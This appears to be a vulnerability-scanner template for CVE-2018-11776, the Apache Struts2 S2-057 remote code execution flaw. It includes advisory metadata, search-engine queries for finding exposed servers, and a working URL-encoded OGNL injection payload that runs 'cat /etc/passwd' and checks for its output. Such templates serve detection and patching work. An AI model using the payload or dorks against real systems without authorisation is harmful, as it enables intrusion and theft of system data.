id: CVE-2018-11776 info: name: Apache Struts2 S2-057 - Remote Code Execution author: pikpikcu severity: high description: | Apache Struts versions 2.3 to 2.3.34 and 2.5 to 2.5.16 suffer from possible remote code execution when alwaysSelectFullNamespace is true (either by user or a plugin like Convention Plugin) and then: results are used with no namespace and in same time, its upper package have no or wildcard namespace and similar to results, same possibility when using url tag which doesn''t have value and action set and in same time, its upper package have no or wildcard namespace. impact: | Remote code execution remediation: | Apply the latest security patches or upgrade to a non-vulnerable version of Apache Struts2. reference: - https://github.com/jas502n/St2-057 - https://cwiki.apache.org/confluence/display/WW/S2-057 - https://security.netapp.com/advisory/ntap-20180822-0001/ - https://nvd.nist.gov/vuln/detail/CVE-2018-11776 - http://packetstormsecurity.com/files/172830/Apache-Struts-Remote-Code-Execution.html classification: cvss-metrics: CVSS:3.0/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:H cvss-score: 8.1 cve-id: CVE-2018-11776 cwe-id: CWE-20 epss-score: 0.97517 epss-percentile: 0.99987 cpe: cpe:2.3:a:apache:struts:*:*:*:*:*:*:*:* metadata: max-request: 1 vendor: apache product: struts shodan-query: - http.html:"apache struts" - http.title:"struts2 showcase" - http.html:"struts problem report" fofa-query: - body="struts problem report" - title="struts2 showcase" - body="apache struts" google-query: intitle:"struts2 showcase" tags: cve,cve2018,packetstorm,apache,rce,struts,kev http: - method: GET path: - "{{BaseURL}}/%24%7B%28%23_memberAccess%5B%22allowStaticMethodAccess%22%5D%3Dtrue%2C%23a%3D@java.lang.Runtime@getRuntime%28%29.exec%28%27cat%20/etc/passwd%27%29.getInputStream%28%29%2C%23b%3Dnew%20java.io.InputStreamReader%28%23a%29%2C%23c%3Dnew%20%20java.io.BufferedReader%28%23b%29%2C%23d%3Dnew%20char%5B51020%5D%2C%23c.read%28%23d%29%2C%23sbtest%3D@org.apache.struts2.ServletActionContext@getResponse%28%29.getWriter%28%29%2C%23sbtest.println%28%23d%29%2C%23sbtest.close%28%29%29%7D/actionChain1.action" matchers-condition: and matchers: - type: regex regex: - "root:.*:0:0:" - type: status status: - 200 # digest: 4a0a0047304502204e0ee62566aa3e91a90c466211aa77cf3a7faaaf61c04dfb6ad080cfb73ada5f022100c6938323746d6dd5404d2d7c439359379d43c2d3bb98737132e3da382864c3df:922c64590222798bb761d5b6d8e72950